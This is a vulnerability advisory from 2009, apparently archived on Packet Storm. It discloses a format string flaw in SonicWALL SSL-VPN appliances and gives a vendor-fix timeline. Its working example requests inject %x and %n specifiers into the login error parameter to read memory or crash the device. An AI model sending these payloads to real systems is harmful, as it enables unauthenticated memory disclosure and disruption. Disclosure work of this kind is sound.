what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SonicWALL Format String Vulnerability

SonicWALL Format String Vulnerability
Posted May 30, 2009
Authored by Patrick Webster | Site aushack.com

The SonicWALL SSL-VPN suffers from a format string vulnerability.

tags | exploit
SHA-256 | d61874b0bac8b2bad842cad6c3610da76702cb7908add80b69b4de89d2f5e1b8

SonicWALL Format String Vulnerability

Change Mirror Download
aushack.com - Vulnerability Advisory
-----------------------------------------------
Release Date:
29-May-2009

Software:
SonicWALL - SSL-VPN Remote Access
http://www.sonicwall.com/

Description:
"SonicWALL SSL VPN appliances provide small and mid-size organizations an
easy-to-use, secure and affordable remote access solution that requires no
pre-installed client software. Utilizing a standard Web browser, authorized
users such as employees, contractors, partners and customers, can easily and
securely access e-mail, files, intranets, Web and legacy applications
and remote desktops from any location."

Versions affected:
SonicWALL SSL-VPN 2000/4000 3.5.0.4 and below.
SonicWALL SSL-VPN 200 3.0.0.8 and below.


Vulnerability discovered:

Format string vulnerability.

Vulnerability impact:

High - Remote code execution, and the ability to remotely map out the
internal memory structures.

Vulnerability information:

This vulnerability allows remote attackers to execute format string specifiers
on the remote appliance as an unauthenticated user.

The device uses a HTML form, where failed authentication results in an error:
"Login failed - Incorrect name/password"

https://[target]/cgi-bin/welcome/VirtualOffice?err=Login%20failed%20-%20Incorrect%20name%2Fpassword

By inserting format strings instead of expected input, the statement
is interpreted
by printf() and the result is returned in a HTTP GET response.

Examples:

The following GET request will result in "ABCD0044434241" being returned.

https://[target]/cgi-bin/welcome/VirtualOffice?err=ABCD%x%x%x

0x44434241 is the little endian hexadecimal representation for ABCD.

It is possible to read memory remotely by specifying further format
strings, such as:

https://[target]/cgi-bin/welcome/VirtualOffice?err=%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

returns

"007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578254007120040304d8cbffff22840221389804b1e04007127925000"

This may reveal sensitive information.

Attempts to write to memory result in an error, indicating that an
access violation
may have occurred, therefore remote code execution is likely possible
with further research (i.e. physical access :).

https://[target]/cgi-bin/welcome/VirtualOffice?err=%n

"Sorry, the SSL-VPN you are trying to reach is unavailable at this
time. Please try again later."

References:
aushack.com advisory
http://www.aushack.com/200905-sonicwall.txt

Credit:
Patrick Webster ( patrick@aushack.com )

Disclosure timeline:
12-Jan-2009 - Discovered during audit.
09-Feb-2009 - 1st email sent to security@sonicwall.com. No response.
27-Feb-2009 - 2nd email sent to security@sonicwall.com. No response.
01-May-2009 - Asked contacts within the security industry for
SonicWALL contact.
07-May-2009 - Received email from SonicWALL contact.
08-May-2009 - Sent details to SonicWALL contact.
15-May-2009 - SSL 200 - 3.0.0.9 fix released.
27-May-2009 - SSL 2000/4000 - 3.5.0.5 fix released.
29-May-2009 - Public disclosure.

EOF
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close